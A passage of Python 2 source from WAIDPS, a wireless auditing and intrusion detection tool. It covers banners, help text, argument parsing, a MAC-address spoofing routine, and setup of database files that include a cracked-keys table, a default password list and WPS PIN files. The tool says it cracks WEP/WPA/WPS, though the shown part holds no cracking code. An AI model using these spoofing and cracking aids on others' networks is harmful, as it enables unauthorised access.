        print fcolor.BGreen + """__        ___    ___ ____  ____  ____  
\ \      / / \  |_ _|  _ \|  _ \/ ___| 
 \ \ /\ / / _ \  | || | | | |_) \___ \ 
  \ V  V / ___ \ | || |_| |  __/ ___) |
   \_/\_/_/   \_|___|____/|_|   |____/  """+ str(Ver)
        return
    if wordart == 8:
        print fcolor.BGreen + "__      ___   ___ ___  ___  ___ "
        print fcolor.BGreen + "\\ \\    / /_\\ |_ _|   \\| _ \\/ __|"
        print fcolor.BGreen + " \\ \\/\\/ / _ \\ | || |) |  _/\\__ \\"
        print fcolor.BGreen + "  \\_/\\_/_/ \\_\\___|___/|_|  |___/"+ str(Ver)
        return
    if wordart == 9:
        print fcolor.BGreen + """ __        ___    ___ ____  ____  ____  
 \ \      / / \  |_ _|  _ \|  _ \/ ___| 
  \ \ /\ / / _ \  | || | | | |_) \___ \ 
   \ V  V / ___ \ | || |_| |  __/ ___) |
    \_/\_/_/   \_\___|____/|_|   |____/ """+ str(Ver)
        return
    if wordart == 10:
        print fcolor.BGreen + """##      ##    ###    #### ########  ########   ######  
##  ##  ##   ## ##    ##  ##     ## ##     ## ##    ## 
##  ##  ##  ##   ##   ##  ##     ## ##     ## ##       
##  ##  ## ##     ##  ##  ##     ## ########   ######  
##  ##  ## #########  ##  ##     ## ##              ## 
##  ##  ## ##     ##  ##  ##     ## ##        ##    ## 
 ###  ###  ##     ## #### ########  ##         ######  """+ str(Ver)
        return
                                                                                  

def ShowSYWorks():
    print fcolor.BWhite + " _  _  _  _  _  _  _    _  _  _  _  _  _  _  _  _  _  _ "
    WordColor=fcolor.BUBlue
    BubbleColor=fcolor.BBlue
    BC1="|"
    BC2="|"
    DisplayTxt = BubbleColor + BC1 + WordColor + "S" + fcolor.CReset + BubbleColor + BC1 + BC2 + WordColor + "Y" + fcolor.CReset + BubbleColor + BC1 + BC2 + WordColor + "W" + fcolor.CReset + BubbleColor + BC1 + BC2 + WordColor + "O" + fcolor.CReset + BubbleColor + BC1 + BC2 + WordColor + "R" + fcolor.CReset + BubbleColor + BC1 + BC2 + WordColor + "K" + fcolor.CReset + BubbleColor + BC1 + BC2 + WordColor + "S" + fcolor.CReset + BubbleColor + BC2 + "  " + BC1 + WordColor + "P" + fcolor.CReset + BubbleColor + BC1 + BC2 + WordColor + "R" + fcolor.CReset + BubbleColor + BC1 + BC2 + WordColor + "O" + fcolor.CReset + BubbleColor + BC1 + BC2 + WordColor + "G" + fcolor.CReset + BubbleColor + BC1 + BC2 + WordColor + "R" + fcolor.CReset + BubbleColor + BC1 + BC2 + WordColor + "A" + fcolor.CReset + BubbleColor + BC1 + BC2 + WordColor + "M" + fcolor.CReset + BubbleColor + BC1 + BC2 + WordColor + "M" + fcolor.CReset + BubbleColor + BC1 + BC2 + WordColor + "I" + fcolor.CReset + BubbleColor + BC1 + BC2 + WordColor + "N" + fcolor.CReset + BubbleColor + BC1 + BC2 + WordColor + "G" + fcolor.CReset + BubbleColor + BC2 + fcolor.SWhite + "  - syworks (at) gmail.com"
    sys.stdout.write(DisplayTxt)
    sys.stdout.flush()

def DisplayAppDetail():
    ShowBanner()
    ShowSYWorks()
    print "";print ""
    print fcolor.BGreen + apptitle + " " + appver + fcolor.SGreen + " " + appDesc
    print fcolor.CReset + fcolor.SWhite + appnote
    print ""

def DisplayDisclaimer():
    printc ("!!!","Legal  Disclaimer :- " + fcolor.Red + "FOR EDUCATIONAL PURPOSES ONLY !!","")
    print fcolor.SWhite + " Usage of this application for attacking target without prior mutual consent is illegal. It is the"
    print fcolor.SWhite + " end user's responsibility to obey all applicable local, state and  federal laws. Author assume no"
    print fcolor.SWhite + " liability and are not responsible for any misuse or damage caused by this application."
    print ""

def DisplayFullDescription():
    print fcolor.BRed + " Description : ";print fcolor.SGreen + " ";print fcolor.SWhite + " ";print fcolor.SWhite + " ";print fcolor.SWhite + " ";print fcolor.SWhite + " ";print fcolor.BWhite + " ";print ""

def DisplayDescription():
    print fcolor.BRed + "Description : "
    print fcolor.SWhite + " WAIDPS, Wiresless Auditing, Intrusion Detection & Prevention System is a tool designed to harvest all WiFi information (AP / Station details) in your"
    print fcolor.SWhite + " surrounding and store as a database for reference. With the stored data, user can further lookup for specific MAC or names for detailed information of"
    print fcolor.SWhite + " it relation to other MAC addresses. It primarily purpose is to detect wireless attacks in WEP/WPA/WPS encryption."
    print fcolor.SWhite + " It also comes with an analyzer and viewer which allow user to further probe and investigation on the intrusion/suspicious packets captured. Additional"
    print fcolor.SWhite + " features such as blacklisting which allow user to monitor specific MACs/Names's activities. All information captured can also be saved into pcap files"
    print fcolor.SWhite + " for further investigation."
    print fcolor.SWhite + " WAIDPS also provide user with the option of cracking WEP/WPA/WPS enabled access point."
    print fcolor.SWhite + " "
    print ""

def DisplayDetailHelp():
    print fcolor.BGreen + "Usage   : " + fcolor.BYellow + "" + DScriptName + fcolor.BWhite + " [options] " + fcolor.BBlue + "<args>"
    print fcolor.CReset + fcolor.Black + "          Running application without parameter will fire up the interactive mode."
    print ""
    print fcolor.BIPink + "Options:" + fcolor.CReset
    print fcolor.BWhite + "    -h  --help\t\t" + fcolor.CReset + fcolor.White + "- Show basic help message and exit"
    print fcolor.BWhite + "    -hh \t\t" + fcolor.CReset + fcolor.White + "- Show advanced help message and exit"
    print fcolor.BWhite + "        --update\t" + fcolor.CReset + fcolor.White + "- Check for updates"
    print fcolor.BWhite + "        --remove\t" + fcolor.CReset + fcolor.White + "- Uninstall application"
    print ""
    print fcolor.BWhite + "    -i  --iface" + fcolor.BBlue + " <arg>\t" + fcolor.CReset + fcolor.White + "- Set Interface to use"
    print fcolor.BWhite + "    -t  --timeout" + fcolor.BBlue + " <arg>\t" + fcolor.CReset + fcolor.White + "- Duration to capture before analysing the captured data"
    print ""
    print fcolor.BGreen + "Examples: " + fcolor.BYellow + "" + DScriptName + fcolor.BWhite + " --update"
    print fcolor.BGreen + "          " + fcolor.BYellow + "" + DScriptName + fcolor.BWhite + " -i " + fcolor.BBlue + "wlan0" 
    print fcolor.BGreen + "          " + fcolor.BYellow + "" + DScriptName + fcolor.BWhite + " --iface " + fcolor.BBlue + "wlan1" 
    print ""
    DrawLine("-",fcolor.CReset + fcolor.Black,"","")
    print ""

def DisplayHelp():
    print fcolor.BGreen + "Usage   : " + fcolor.BYellow + "" + DScriptName + fcolor.BWhite + " [options] " + fcolor.BBlue + "<args>"
    print fcolor.CReset + fcolor.Black + "          Running application without parameter will fire up the interactive mode."
    print ""
    print fcolor.BIPink + "Options:" + fcolor.CReset
    print fcolor.BWhite + "    -h  --help\t\t" + fcolor.CReset + fcolor.White + "- Show basic help message and exit"
    print fcolor.BWhite + "    -hh \t\t" + fcolor.CReset + fcolor.White + "- Show advanced help message and exit"
    print ""
    print fcolor.BWhite + "    -i  --iface" + fcolor.BBlue + " <arg>\t" + fcolor.CReset + fcolor.White + "- Set Interface to use"
    print fcolor.BWhite + "    -t  --timeout" + fcolor.BBlue + " <arg>\t" + fcolor.CReset + fcolor.White + "- Duration to capture before analysing the captured data"
    print ""
    print fcolor.BGreen + "Examples: " + fcolor.BYellow + "" + DScriptName + fcolor.BWhite + " --update"
    print fcolor.BGreen + "          " + fcolor.BYellow + "" + DScriptName + fcolor.BWhite + " -i " + fcolor.BBlue + "wlan0"
    print fcolor.BGreen + "          " + fcolor.BYellow + "" + DScriptName + fcolor.BWhite + " --iface " + fcolor.BBlue + "wlan1"
    print ""
    DrawLine("-",fcolor.CReset + fcolor.Black,"","")
    print ""

def GetParameter(cmdDisplay):
    """
   cmdDisplay = "0" : Does not display help if not specified
                "1" : Display help even not specified
                "2" : Display Help, exit if error
    """
    __builtin__.ReadPacketOnly="";__builtin__.LoopCount=99999999;__builtin__.SELECTED_IFACE="";__builtin__.SELECTED_MON="";__builtin__.SELECTED_ATK="";__builtin__.PRINTTOFILE="";__builtin__.ASSIGNED_MAC="";__builtin__.SPOOF_MAC="";__builtin__.AllArguments=""
    if cmdDisplay=="":
        cmdDisplay="0"
    Err=0
    totalarg=len(sys.argv)
    printd ("Argument Len    : " + str(totalarg))
    printd ("Argument String : " + str(sys.argv))
    if totalarg>1:
        i=1
        while i < totalarg:
            Err=""
            if i>0:
                i2=i+1
                if i2 >= len(sys.argv):
                   i2=i
                   i2str=""
                else:
                   i2str=str(sys.argv[i2])
                argstr=("Argument %d : %s" % (i, str(sys.argv[i])))
                printd (argstr) 
                arg=str(sys.argv[i])
                if arg=="-h" or arg=="--help":
                    DisplayHelp()
                    Err=0
                    exit()
                    break;
                elif arg=="-hh":
                    DisplayDetailHelp()
                    Err=0
                    exit()
                elif arg=="-ro":
                    Err=0
                    __builtin__.ReadPacketOnly="1"
                elif arg=="--update":
                    Err=0
                    GetUpdate("1")
                    exit()
                elif arg=="--remove":
                    Err=0
                    UninstallApplication()
                    exit()
                elif arg=="--spoof":
                    __builtin__.AllArguments=__builtin__.AllArguments + fcolor.BWhite + "Spoof MAC\t\t:  " + fcolor.BRed + "Enabled\n"
                    __builtin__.SPOOF_MAC="1"
                    Err=0
                elif arg=="-m" or arg=="--mac":
                    i=i2
                    if i2str=="":
                        printc("!!!","Invalid MAC Address set !","")  
                        Err=1
                    else:
                        Err=0
                        if i2str[:1]!="-":
                            if len(i2str)==17:
                                Result=CheckMAC(i2str)
                                if Result!="":
                                    __builtin__.ASSIGNED_MAC=i2str 
                                    __builtin__.AllArguments=__builtin__.AllArguments + fcolor.BWhite + "Selected MAC\t\t:  " + fcolor.BRed + i2str + "\n"
                                    __builtin__.SPOOF_MAC="1"
                                else:
                                    printc("!!!","Invalid MAC Address set [ " + fcolor.BWhite + i2str + fcolor.BRed + " ] !","")  
                                    Err=1
                            else:
                                printc("!!!","Invalid MAC Address set [ " + fcolor.BWhite + i2str + fcolor.BRed + " ] !","")  
                                Err=1
                        else:
                            printc("!!!","Invalid MAC Address set [ " + fcolor.BWhite + i2str + fcolor.BRed + " ] !","")  
                            Err=1
                elif arg=="-t" or arg=="--timeout":
                    i=i2
                    if i2str=="":
                        printc("!!!","Invalid timeout variable set !","")  
                        Err=1
                    else:
                        Err=0
                        if i2str[:1]!="-":
                            if i2str.isdigit():
                                __builtin__.TIMEOUT=i2str
                                __builtin__.AllArguments=__builtin__.AllArguments + fcolor.BWhite + "Timeout (Seconds)\t:  " + fcolor.BRed + str(__builtin__.TIMEOUT) + "\n"
                                if float(__builtin__.TIMEOUT)<20:
				    __builtin__.AllArguments=__builtin__.AllArguments + fcolor.SWhite + "\t\t\t:  Timeout second set may be to low for detection.\n"
                            else:
                                printc("!!!","Invalid timeout variable set [ " + fcolor.BWhite + i2str + fcolor.BRed + " ] !","")  
                                Err=1
                        else:
                            printc("!!!","Invalid timeout variable set [ " + fcolor.BWhite + i2str + fcolor.BRed + " ] !","")  
                            Err=1
                elif arg=="-l" or arg=="--loop":
                    i=i2
                    if i2str=="":
                        printc("!!!","Invalid __builtin__.LoopCount variable set !","")  
                        Err=1
                    else:
                        Err=0
                        if i2str[:1]!="-":
                            if i2str.isdigit():
                                __builtin__.LoopCount=i2str
                                if float(__builtin__.LoopCount)<1:
				    __builtin__.AllArguments=__builtin__.AllArguments + fcolor.SWhite + "\t\t\t:  Minimum loop count is 1.\n"
                                    __builtin__.LoopCount=1
                                __builtin__.AllArguments=__builtin__.AllArguments + fcolor.BWhite + "Loop Count\t\t:  " + fcolor.BRed + str(__builtin__.LoopCount) + "\n"
                            else:
                                printc("!!!","Invalid loop count variable set [ " + fcolor.BWhite + i2str + fcolor.BRed + " ] !","")  
                                Err=1
                        else:
                            printc("!!!","Invalid loop count variable set [ " + fcolor.BWhite + i2str + fcolor.BRed + " ] !","")  
                            Err=1
                elif arg=="-i" or arg=="--iface":
                    i=i2
                    if i2str=="":
                        printc("!!!","Invalid Interface variable set !","")  
                        Err=1
                    else:
                        Err=0
                        if i2str[:1]!="-":
                            __builtin__.SELECTED_IFACE=i2str
                            __builtin__.AllArguments=__builtin__.AllArguments + fcolor.BWhite + "Selected interface\t:  " + fcolor.BRed + i2str + "\n"
                        else:
                            printc("!!!","Invalid Interface variable set [ " + fcolor.BWhite + i2str + fcolor.BRed + " ] !","")  
                            Err=1
                elif Err=="":
                        DisplayHelp()
                        printc("!!!","Invalid option set ! [ " + fcolor.BGreen + arg + fcolor.BRed + " ]","")
                        Err=1
                        exit(0)
                if Err==1:
                    if cmdDisplay=="2":
                        print ""
                        DisplayHelp()
                        exit(0)
                i=i+1
        if __builtin__.AllArguments!="":
            print fcolor.BYellow + "Parameter set:"
            print __builtin__.AllArguments
        else:
            print ""
            DisplayHelp()
        print ""
        printc ("i", fcolor.BCyan + "Entering Semi-Interactive Mode..","")
        result=DisplayTimeStamp("start","")
        print ""
    else:
        if cmdDisplay=="1":
            DisplayHelp()
        if cmdDisplay=="2":
            DisplayHelp()
            exit(0)
        else:
            printc ("i", fcolor.BCyan + "Entering Interactive Mode..","")
            result=DisplayTimeStamp("start","")
            print ""

def GetFileLine(filename,omitblank):
    if omitblank=="":
        omitblank="0"
    if omitblank=="1":
        with open(filename, 'r') as f: 
            lines = len(list(filter(lambda x: x.strip(), f)))
        __builtin__.TotalLine=lines
        __builtin__.UsableLine=lines
    if omitblank=="0":
        with open(filename) as f:
            lines=len(f.readlines())
        __builtin__.TotalLine=lines
        __builtin__.UsableLine=lines
    if omitblank=="2":
        lines=0
	with open(filename,"r") as f:
	    for line in f:
                sl=len(line.replace("\n",""))
                if sl>0:
                    __builtin__.TotalLine=__builtin__.TotalLine+1
                    if sl>=8 and sl<=63:
                        lines=lines+1
                        __builtin__.UsableLine=lines
    return lines

def CheckMAC(MACAddr):
    import string
    result=""
    allchars = "".join(chr(a) for a in range(256))
    delchars = set(allchars) - set(string.hexdigits)
    mac = MACAddr.translate("".join(allchars),"".join(delchars))
    if len(mac) != 12:
        return result;
    else:
        result=MACAddr.upper()
        result=str(result[0:2]) + ":" + str(result[2:4]) + ":" + str(result[4:6]) + ":" + str(result[6:8]) + ":" + str(result[8:10]) + ":" + str(result[10:12])
    return result;

def Explore(DirUrlName,ShowDisplay):
    if ShowDisplay=="":
        ShowDisplay=0
    Result=-1
    if DirUrlName!="":
        if ShowDisplay=="1":
            printc (" ",fcolor.SGreen + "Opening location [ " + fcolor.SRed + DirUrlName + fcolor.SGreen + " ] ...","")
        Result=os.system("xdg-open " + str(DirUrlName) + " > /dev/null 2>&1")
    return Result

def UninstallApplication():
    Ask=AskQuestion ("Are you sure you want to remove this application ?","y/N","","N","")
    if Ask=="y" or Ask=="Y":
        curdir=os.getcwd() + "/"
        CurFileLocation=curdir + ScriptName
        if os.path.exists(CurFileLocation)==True:
            printd("Delete File : " + CurFileLocation)
            result=os.remove(CurFileLocation)
        if os.path.exists("/usr/sbin/" + ScriptName)==True:
            printd("Delete File : " + "/usr/sbin/" + str(ScriptName))
            result=os.remove("/usr/sbin/" + ScriptName)
        if os.path.exists(appdir)==True:
            printd("Remove Path : " + appdir)
            result=RemoveTree(appdir,"")
        Ask=AskQuestion ("Do you want to delete all the Database files created ?","y/N","","N","")
        if Ask=="Y":
            Delfile (__builtin__.FilenameHeader + "*.*","1")
        printc ("i", "Application successfully removed !!","")
        exit(0)
    else:
        printc ("i",fcolor.BWhite + "Uninstall aborted..","")
        exit(0)

def SelectInterfaceToUse():
    printc ("i", fcolor.BRed + "Wireless Adapter Selection","")
    Result = GetInterfaceList("MAN")
    if Result==0:
        printc ("!", fcolor.SRed + "No wireless adapter adapter found !!","")
        exit()
    Result = CombineListing(__builtin__.IFaceList, __builtin__.MACList,__builtin__.UpDownList,__builtin__.IEEEList,__builtin__.StatusList,__builtin__.ModeList,"","")
    if int(Result)>1:
        __builtin__.TitleList=['Sel','Iface','MAC Address','Up ?', 'IEEE','Status','Mode','','']
        Result=QuestionFromList(__builtin__.TitleList, __builtin__.MergedSpaceList,__builtin__.MergedList,"Select the interface from the list","0")
        if Result=="0":
                 Result=AskQuestion(fcolor.SGreen + "You need to select a interface to use," + fcolor.BGreen + " retry ?","Y/n","U","Y","1")
                 if Result=="Y":
                     Result=SelectInterfaceToUse()
                     return Result
                 else:
                     exit(0)
        Result=int(Result)-1
        __builtin__.SELECTED_IFACE=__builtin__.IFaceList[int(Result)]
    else:
        __builtin__.SELECTED_IFACE=__builtin__.IFaceList[0]
    return __builtin__.SELECTED_IFACE;

def Run(cmdRun,Suppress):
    if Suppress=="":
        Suppress="1"
    rtncode=-1
    cmdExt=""
    if cmdRun=="":
        return rtncode;
    if cmdRun.find(">")!=-1 or cmdRun.find(">>")!=-1:
        Suppress="0"
    if Suppress=="1":
        cmdExt=" > /dev/null 2>&1"
    ps=Popen(str(cmdRun) + str(cmdExt), shell=True, stdout=subprocess.PIPE, stderr=open(os.devnull, 'w'),preexec_fn=os.setsid)
    pid=ps.pid 
    readout=ps.stdout.read()
    return str(readout)

def SelectMonitorToUse():
    time.sleep (0)
    MonCt = GetInterfaceList("MON")
    if MonCt==0:
        printc ("i", fcolor.BRed + "Monitoring Adapter Selection","")
    MonCt = GetInterfaceList("MON")
    if MonCt==0:
        printc ("!", fcolor.SRed + "No monitoring adapter found !!","")
        exit()
    Result = CombineListing(__builtin__.IFaceList, __builtin__.MACList,__builtin__.UpDownList,__builtin__.IEEEList,__builtin__.StatusList,"","","")
    if int(Result)>1:
        __builtin__.TitleList=['Sel','Iface','MAC Address','Up ?', 'IEEE','Status','','','']
        Result=QuestionFromList(__builtin__.TitleList, __builtin__.MergedSpaceList,__builtin__.MergedList,"Select the monitoring interface from the list","0")
        if Result=="0":
                 Result=AskQuestion(fcolor.SGreen + "You need to select a monitoring interface to use," + fcolor.BGreen + " retry ?","Y/n","U","Y","1")
                 if Result=="Y":
                     Result=SelectMonitorToUse()
                     return Result
                 else:
                     exit(0)
        Result=int(Result)-1
        __builtin__.SELECTED_MON=__builtin__.IFaceList[int(Result)]
    else:
        __builtin__.SELECTED_MON=__builtin__.IFaceList[0]
    return __builtin__.SELECTED_MON;

def IsFileDirExist(strFilePath):
    """
        Function   : Check if a file/path exist
        Return     : "F" - Exist File 
                   : "D" - Exist Directory
                   : "E" - Does not exist
    """
    RtnResult="E"
    if os.path.exists(strFilePath)==True:
        if os.path.isfile(strFilePath)==True:
            RtnResult="F"
        if os.path.isdir(strFilePath)==True:
            RtnResult="D"
    return RtnResult;

def ShutdownMonitor():
    ps=subprocess.Popen("iw probe0 del  > /dev/null 2>&1", shell=True, stdout=subprocess.PIPE,stderr=open(os.devnull, 'w'))
    ps.wait();ps.stdout.close()
    ps=subprocess.Popen("iw wlmon0 del  > /dev/null 2>&1", shell=True, stdout=subprocess.PIPE,stderr=open(os.devnull, 'w'))
    ps.wait();ps.stdout.close()
    ps=subprocess.Popen("iw " + str(__builtin__.SELECTED_ATK) + " del  > /dev/null 2>&1", shell=True, stdout=subprocess.PIPE,stderr=open(os.devnull, 'w'))
    ps.wait();ps.stdout.close()
    ps=subprocess.Popen("iw atmon0 del  > /dev/null 2>&1", shell=True, stdout=subprocess.PIPE,stderr=open(os.devnull, 'w'))
    ps.wait();ps.stdout.close()
    ps=subprocess.Popen("killall 'airodump-ng' > /dev/null 2>&1" , shell=True, stdout=subprocess.PIPE)	
    time.sleep(0.1)
    ps=subprocess.Popen("killall 'aircrack-ng' > /dev/null 2>&1" , shell=True, stdout=subprocess.PIPE)	
    time.sleep(0.1)
    ps=subprocess.Popen("killall 'tshark' > /dev/null 2>&1" , shell=True, stdout=subprocess.PIPE)	
    time.sleep(0.1)
    ps.wait();ps.stdout.close()

def exit_gracefully(code=0):
    if __builtin__.currentdir!="":
        os.chdir(__builtin__.currentdir)
    os.system("stty echo")
    pstr="kill $(ps aux | grep 'WAIDPS - ' | awk '{print $2}') > /dev/null 2>&1"
    ps=subprocess.Popen(pstr, shell=True, stdout=subprocess.PIPE)	
    ps.wait();ps.stdout.close()
    KillAllMonitor()
    ShutDownAuditingWindows()
    printc (" ","","")
    printc ("*", fcolor.BRed + "Application shutdown !!","")
    if __builtin__.TimeStart!="":
        result=DisplayTimeStamp("summary-a","")
    if __builtin__.PrintToFile=="1":
        print fcolor.BGreen + "     Result Log\t: " + fcolor.SGreen + LogFile
        open(LogFile,"a+b").write("\n\n")
    __builtin__.PrintToFile="0"
    print ""
    ShutdownMonitor()
    if __builtin__.ERRORFOUND!=1:
        print ""
        print fcolor.BWhite + "Please support by liking my page at " + fcolor.BBlue + "https://www.facebook.com/syworks" +fcolor.BWhite + " (SYWorks-Programming)"
    print fcolor.BRed + __builtin__.ScriptName + " Exited." 
    print ''
    exit(code)

def AddTime(tm, secs):
    fulldate = datetime.datetime(tm.year, tm.month, tm.day, tm.hour, tm.minute, tm.second)
    fulldate = fulldate + datetime.timedelta(seconds=secs)
    return fulldate

def Percent(val, digits):
    val *= 10 ** (digits + 2)
    return '{1:.{0}f} %'.format(digits, floor(val) / 10 ** digits)

def ChangeHex(n):
    x = (n % 16)
    c = ""
    if (x < 10):
        c = x
    if (x == 10):
        c = "A"
    if (x == 11):
        c = "B"
    if (x == 12):
        c = "C"
    if (x == 13):
        c = "D"
    if (x == 14):
        c = "E"
    if (x == 15):
        c = "F"
    if (n - x != 0):
        Result=ChangeHex(n / 16) + str(c)
    else:
        Result=str(c)
    if len(Result)==1:
        Result="0" + str(Result)
    if len(Result)==3:
        Result=Result[-2:]
    return Result

def SpoofMAC(IFACE,ASSIGNED_MAC):
    if ASSIGNED_MAC=="":
        H1="00"
        H2=ChangeHex(random.randrange(255))
        H3=ChangeHex(random.randrange(255))
        H4=ChangeHex(random.randrange(255))
        H5=ChangeHex(random.randrange(255))
        H6=ChangeHex(random.randrange(255))
        ASSIGNED_MAC=str(H1) + ":" + str(H2) + ":" + str(H3) + ":" + str(H4) + ":" + str(H5) + ":" + str(H6) 
    Result=""
    ps=subprocess.Popen("ifconfig " + str(IFACE) + " | grep 'HWaddr' | tr -s ' ' | cut -d ' ' -f5" , shell=True, stdout=subprocess.PIPE, stderr=open(os.devnull, 'w'))	
    MACADDR=ps.stdout.read().replace("\n","").upper().replace("-",":")
    MACADDR=MACADDR[:17]
    if str(MACADDR)!=ASSIGNED_MAC:
        printc ("i",fcolor.BRed + "Spoofing [ " + str(IFACE) + " ] MAC Address","")
        printc (" ",fcolor.BBlue + "Existing MAC\t: " + fcolor.BWhite + str(MACADDR),"")
        printc (" ",fcolor.BBlue + "Spoof MAC\t\t: " + fcolor.BWhite +  str(ASSIGNED_MAC),"")
        Result=MACADDR
        Ask=AskQuestion("Continue to spoof the MAC Address ?","Y/n","U","Y","0")
        if Ask=="Y":
            ps=subprocess.Popen("ifconfig " + str(IFACE) + " down hw ether " + str(ASSIGNED_MAC) + " > /dev/null 2>&1" , shell=True, stdout=subprocess.PIPE,stderr=open(os.devnull, 'w'))
            time.sleep(1)
            ps=subprocess.Popen("ifconfig " + str(IFACE) + " | grep 'HWaddr' | tr -s ' ' | cut -d ' ' -f5" , shell=True, stdout=subprocess.PIPE)
            NEWADDR=""
            NEWADDR=ps.stdout.read().replace("\n","").upper().replace("-",":")
            NEWADDR=NEWADDR[:17]
            ps.wait();ps.stdout.close()
            if str(NEWADDR)==str(ASSIGNED_MAC):
                printc (" ",fcolor.BBlue + "MAC Address successfully changed to [ " + fcolor.BYellow + str(ASSIGNED_MAC) + fcolor.BBlue + " ]","")
                Result=str(ASSIGNED_MAC)
            else:
                printc (" ",fcolor.BRed + "Failed to change MAC Address !!","")
                Ask=AskQuestion("Retry with a new MAC Address ?","Y/n","U","Y","0")
                if Ask=="Y":
                    Result=SpoofMAC(IFACE,"")
                    return Result;
                else:
                    printc (" ",fcolor.BRed + "You choose to abort spoofing of MAC address.","")
                    printc (" ",fcolor.BBlue + "Using MAC Address [ " + fcolor.BYellow + str(NEWADDR) + fcolor.BBlue + " ]","")
                    return Result
        else:
            printc (" ",fcolor.BRed + "You choose to abort spoofing of MAC address.","")
            printc (" ",fcolor.BBlue + "Using MAC Address [ " + fcolor.BYellow + str(MACADDR) + fcolor.BBlue + " ]","")
    return Result
class Command(object):

    def __init__(self, cmd):
        self.cmd = cmd
        self.process = None

    def run(self, timeout):

        def target():
            self.process = subprocess.Popen(self.cmd, shell=True)
            self.process.communicate()
        thread = threading.Thread(target=target)
        thread.start()
        thread.join(timeout)
        if thread.is_alive():
            self.process.terminate()
            thread.join()

def IsAscii(inputStr):
    return all(ord(c) < 127 and ord(c) > 31 for c in inputStr)

def CheckSSIDChr(ESSID_Name):
    if IsAscii(ESSID_Name)==False:
        ESSID_Name=""
    return ESSID_Name

def IsProgramExists(program):
    """
	Check if program exist
    """
    proc = Popen(['which', program], stdout=PIPE, stderr=PIPE)
    txt = proc.communicate()
    if txt[0].strip() == '' and txt[1].strip() == '':
	return False
    if txt[0].strip() != '' and txt[1].strip() == '':
	return True
    return not (txt[1].strip() == '' or txt[1].find('no %s in' % program) != -1)

def DownloadFile(sURL,FileLoc,ToDisplay):
  try:
    if ToDisplay=="1":
        printc ("..","Downloading file from " + fcolor.BBlue + str(sURL),"")
    urllib.urlretrieve(sURL,FileLoc)
    if IsFileDirExist(__builtin__.MACOUI)=="F":
        printc ("i","File successfully saved to " + FileLoc,"")
    else:
        printc ("!!!","File failed to save. Please do it manually.","")
    return;
  except:
    printc ("!!!","Error downloading... please make sure you run as root and have internet access.","")

def CheckRequiredFiles():
    MISSING_FILE=0
    ERROR_MSG=""
    for req_file in __builtin__.RequiredFiles:
        if IsProgramExists(req_file): continue
	ERROR_MSG= ERROR_MSG + str(printc (" ","<$rs$>" + fcolor.SGreen + "Required file not found - " + fcolor.BRed + str(req_file) + "\n",""))
        MISSING_FILE += 1
    if MISSING_FILE!=0:
        TXT_1=""
        TXT_2="was"
        if MISSING_FILE>1:
            TXT_1="s"
            TXT_2="were"
        print ""
	printc ("!!!",fcolor.BGreen + "The following file" + TXT_1 + " required by " + apptitle + " " + TXT_2 + " not found:- " ,"")
        print ERROR_MSG
        print ""
        printc ("..","Developer does not provide any support on how you could install all these application.","")
        printc ("..","To save the hassle, run this script on Backtrack/Kali Linux as all these required applications are already preinstalled.","")
        __builtin__.ERRORFOUND=1
        exit_gracefully(1)
    if IsFileDirExist(__builtin__.MACOUI)!="F":
        printc ("!!!","MAC OUI Database (Optional) not found !","")
        printc ("  ",fcolor.SGreen + "Database can be downloaded at " + fcolor.SBlue + "https://raw.githubusercontent.com/SYWorks/Database/master/mac-oui.db","")
        printc ("  ",fcolor.SGreen + "Copy the download file " + fcolor.BGreen + "mac-oui.db" + fcolor.SGreen +" and copy it to " + fcolor.BRed + dbdir + "\n\n","")
        usr_resp=AskQuestion(fcolor.BGreen + "Or do you prefer to download it now ?" + fcolor.BGreen,"Y/n","U","Y","1")
        if usr_resp=="Y":
            DownloadFile("https://raw.githubusercontent.com/SYWorks/Database/master/mac-oui.db",dbdir + "mac-oui.db","1")
        print ""
        printc ("x","Press any key to continue...","")

def CreateDatabaseFiles():
    FoundDict=""
    for dictionary in __builtin__.Dictionary:
        if IsFileDirExist(dictionary)=="F" and FoundDict=="":
            FoundDict=dictionary
    if FoundDict!="":
        __builtin__.DEFAULT_DICT=FoundDict
    if IsFileDirExist(DBFile1)!="F" or IsFileDirExist(DBFile2)!="F" or IsFileDirExist(DBFile3)!="F" or IsFileDirExist(DBFile4)!="F" or IsFileDirExist(DBFile5)!="F" or IsFileDirExist(DBFile6)!="F" or IsFileDirExist(CrackDB)!="F" or IsFileDirExist(__builtin__.DEFAULT_DICT)!="F"  or IsFileDirExist(DBFile7)!="F" or IsFileDirExist(DBWPS_SeqA)!="F" or IsFileDirExist(DBWPS_SeqD)!="F" or IsFileDirExist(DBWPS_Half)!="F" or IsFileDirExist(DBWPS_Alt)!="F" or IsFileDirExist(DBWPS_Pos)!="F" or IsFileDirExist(DBWPS_PosD)!="F":
        print ""
        printc (".",fcolor.BGreen + "Creating database files....","")
        if IsFileDirExist(DBFile1)!="F":
            WriteData="Station;Connected BSSID;AP First Seen;Client First Seen;Reported;Hotspot ESSID;Crack Date;;\n"
            open(DBFile1,"a+b").write(WriteData)
        if IsFileDirExist(DBFile2)!="F":
            WriteData="BSSID;Enriched;Mode;First Seen;Last Seen;Channel;Privacy;Cipher;Authentication;Max Rate;Bit Rates;Power;GPS Lat;GPS Lon;GPS Alt;WPS;WPS Ver;Reported;ESSID;\n"
            open(DBFile2,"a+b").write(WriteData)
        if IsFileDirExist(DBFile3)!="F":
            WriteData="Station;Connected BSSID;First Seen;Last Seen;Power;Reported;Connected ESSID;\n"
            open(DBFile3,"a+b").write(WriteData)
        if IsFileDirExist(DBFile4)!="F":
            WriteData="Station;Reported;Probes Name;\n"
            open(DBFile4,"a+b").write(WriteData)
        if IsFileDirExist(DBFile5)!="F":
            WriteData="Station;Connected BSSID;Connected ESSID;\n"
            open(DBFile5,"a+b").write(WriteData)
        if IsFileDirExist(DBFile6)!="F":
            WriteData="Station;Initial BSSID;New BSSID;Reported;Initial ESSID;New ESSID;\n"
            open(DBFile6,"a+b").write(WriteData)
        if IsFileDirExist(CrackDB)!="F":
            WriteData="BSSID;Encryption;Key;ESSID;HS_FILE;WPS;\n"
            open(CrackDB,"a+b").write(WriteData)
        if IsFileDirExist(__builtin__.DEFAULT_DICT)!="F":
            WriteData="passwords\np@55w0rd!!!\n1234abcd\n1a2b3c4d5e\n12345678\n"
            open(__builtin__.DEFAULT_DICT,"a+b").write(WriteData)
        if IsFileDirExist(DBFile7)!="F":
            WriteData="DEFAULT=" + str(__builtin__.DEFAULT_DICT + "\n")
            open(DBFile7,"a+b").write(WriteData)
        if IsFileDirExist(DBWPS_SeqA)!="F":
            WriteData=str(__builtin__.WPS_SeqA).replace(";","\x0a")
            open(DBWPS_SeqA,"a+b").write(WriteData)
